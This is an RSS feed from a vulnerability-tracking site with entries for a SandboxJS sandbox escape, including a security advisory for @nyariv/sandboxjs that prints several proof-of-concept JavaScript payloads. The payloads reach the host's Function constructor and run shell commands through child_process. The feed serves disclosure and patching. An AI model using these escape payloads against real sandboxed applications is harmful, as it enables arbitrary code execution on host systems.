<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 18:10:56 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267622</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267622</link>
      <description>EUVD-2026-267622</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267622</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25520</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25520</link>
      <description>&lt;p&gt;SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren&amp;#39;t wrapped. Object.values/Object.entries can be used to get an Array containing the host&amp;#39;s Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren&amp;#39;t wrapped. Object.values/Object.entries can be used to get an Array containing the host&amp;#39;s Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25520</guid>
    </item>
    <item>
      <title>GHSA-58jh-xv4v-pcx4 — @nyariv/sandboxjs has a Sandbox Escape issue</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-58jh-xv4v-pcx4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @nyariv/sandboxjs&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The return values of functions aren&amp;#39;t wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host&amp;#39;s `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The return values of functions aren&amp;#39;t wrapped, chaining function calls allows bypassing most validation/sanitization.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```js
const s = require(&amp;#39;@nyariv/sandboxjs&amp;#39;).default;
const sb = new s();&lt;/p&gt;
&lt;p&gt;payload = `
console.log(
  Object.values(this).at(0)(
    &amp;#34;return process.getBuiltinModule(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;ls -lah&amp;#39;).toString()&amp;#34;,
  )(),
);
`&lt;/p&gt;
&lt;p&gt;sb.compile(payload)().run();
```&lt;/p&gt;
&lt;p&gt;```js
const s = require(&amp;#34;@nyariv/sandboxjs&amp;#34;).default;
const sb = new s();&lt;/p&gt;
&lt;p&gt;payload = `
console.log(
  Object.entries(this)[0].at(1)(
    &amp;#34;return process.getBuiltinModule(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;ls -lah&amp;#39;).toString()&amp;#34;,
  )(),
);
`&lt;/p&gt;
&lt;p&gt;sb.compile(payload)().run();
```&lt;/p&gt;
&lt;p&gt;```js
const s = require(&amp;#34;@nyariv/sandboxjs&amp;#34;).default;
const sb = new s();&lt;/p&gt;
&lt;p&gt;payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) =&amp;gt; {
      if (typeof f === &amp;#39;function&amp;#39;) {
        f.call(&amp;#39;&amp;#39;, &amp;#39;return process&amp;#39;)()
          .getBuiltinModule(&amp;#39;child_process&amp;#39;)
          .execSync(&amp;#39;ls -lah&amp;#39;, { stdio: &amp;#39;inherit&amp;#39; });
      }
    }),
);
`&lt;/p&gt;
&lt;p&gt;sb.compile(payload)().run();
```&lt;/p&gt;
&lt;p&gt;```js
const s = require(&amp;#34;@nyariv/sandboxjs&amp;#34;).default;
const sb = new s();&lt;/p&gt;
&lt;p&gt;payload = `
const t = (f) =&amp;gt; {
  f.call(&amp;#39;&amp;#39;, &amp;#39;return pr…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @nyariv/sandboxjs&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The return values of functions aren&amp;#39;t wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host&amp;#39;s `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The return values of functions aren&amp;#39;t wrapped, chaining function calls allows bypassing most validation/sanitization.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```js
const s = require(&amp;#39;@nyariv/sandboxjs&amp;#39;).default;
const sb = new s();&lt;/p&gt;
&lt;p&gt;payload = `
console.log(
  Object.values(this).at(0)(
    &amp;#34;return process.getBuiltinModule(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;ls -lah&amp;#39;).toString()&amp;#34;,
  )(),
);
`&lt;/p&gt;
&lt;p&gt;sb.compile(payload)().run();
```&lt;/p&gt;
&lt;p&gt;```js
const s = require(&amp;#34;@nyariv/sandboxjs&amp;#34;).default;
const sb = new s();&lt;/p&gt;
&lt;p&gt;payload = `
console.log(
  Object.entries(this)[0].at(1)(
    &amp;#34;return process.getBuiltinModule(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;ls -lah&amp;#39;).toString()&amp;#34;,
  )(),
);
`&lt;/p&gt;
&lt;p&gt;sb.compile(payload)().run();
```&lt;/p&gt;
&lt;p&gt;```js
const s = require(&amp;#34;@nyariv/sandboxjs&amp;#34;).default;
const sb = new s();&lt;/p&gt;
&lt;p&gt;payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) =&amp;gt; {
      if (typeof f === &amp;#39;function&amp;#39;) {
        f.call(&amp;#39;&amp;#39;, &amp;#39;return process&amp;#39;)()
          .getBuiltinModule(&amp;#39;child_process&amp;#39;)
          .execSync(&amp;#39;ls -lah&amp;#39;, { stdio: &amp;#39;inherit&amp;#39; });
      }
    }),
);
`&lt;/p&gt;
&lt;p&gt;sb.compile(payload)().run();
```&lt;/p&gt;
&lt;p&gt;```js
const s = require(&amp;#34;@nyariv/sandboxjs&amp;#34;).default;
const sb = new s();&lt;/p&gt;
&lt;p&gt;payload = `
const t = (f) =&amp;gt; {
  f.call(&amp;#39;&amp;#39;, &amp;#39;return pr…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-58jh-xv4v-pcx4</guid>
    </item>
  </channel>
</rss>
